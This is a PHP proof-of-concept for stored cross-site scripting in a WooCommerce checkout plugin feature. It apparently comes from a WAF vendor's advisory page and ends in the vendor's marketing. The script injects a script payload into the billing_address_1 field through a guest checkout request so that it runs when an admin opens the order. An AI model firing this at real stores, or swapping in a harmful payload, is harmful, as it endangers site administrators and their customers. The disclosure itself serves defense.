// This PoC demonstrates how an unauthenticated attacker can inject a malicious script
// into the billing_address_1 field during checkout. The script executes when an admin
// views the order edit screen with the E-Documents meta box rendered.

$target_url = 'http://example.com'; // Change to your target WordPress site

// Step 1: Prepare the malicious payload for billing_address_1
$payload = '"><script>alert("XSS via billing_address_1");</script>';

// Step 2: Build the checkout form data (simplified for WooCommerce checkout)
// We assume the site allows guest checkout and the default checkout fields.
$checkout_data = array(
    'billing_first_name' => 'John',
    'billing_last_name'  => 'Doe',
    'billing_company'    => 'Test',
    'billing_address_1'  => $payload,
    'billing_address_2'  => '',
    'billing_city'       => 'Test City',
    'billing_state'      => 'CA',
    'billing_postcode'   => '12345',
    'billing_country'    => 'US',
    'billing_email'      => 'attacker@example.com',
    'billing_phone'      => '555-1234',
    'payment_method'     => 'cod', // Cash on delivery, adjust as needed
    'terms'              => 'on',
    'woocommerce-process-checkout-nonce' => 'dummy', // May require actual nonce, but we'll try without
    '_wp_http_referer'   => '/?wc-ajax=update_order_review',
    'wc-ajax'            => 'checkout', // For WooCommerce AJAX checkout
);

// Step 3: Send the checkout request using cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/?wc-ajax=checkout');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($checkout_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies for session
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// Note: This is a simplified PoC. In a real scenario, the attacker would need to:
// - Obtain a valid checkout nonce (if required).
// - Complete the order creation and payment process.
// - The stored XSS will trigger when an admin views the order edit page.
// - The E-Documents feature must be enabled with a document format selected.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.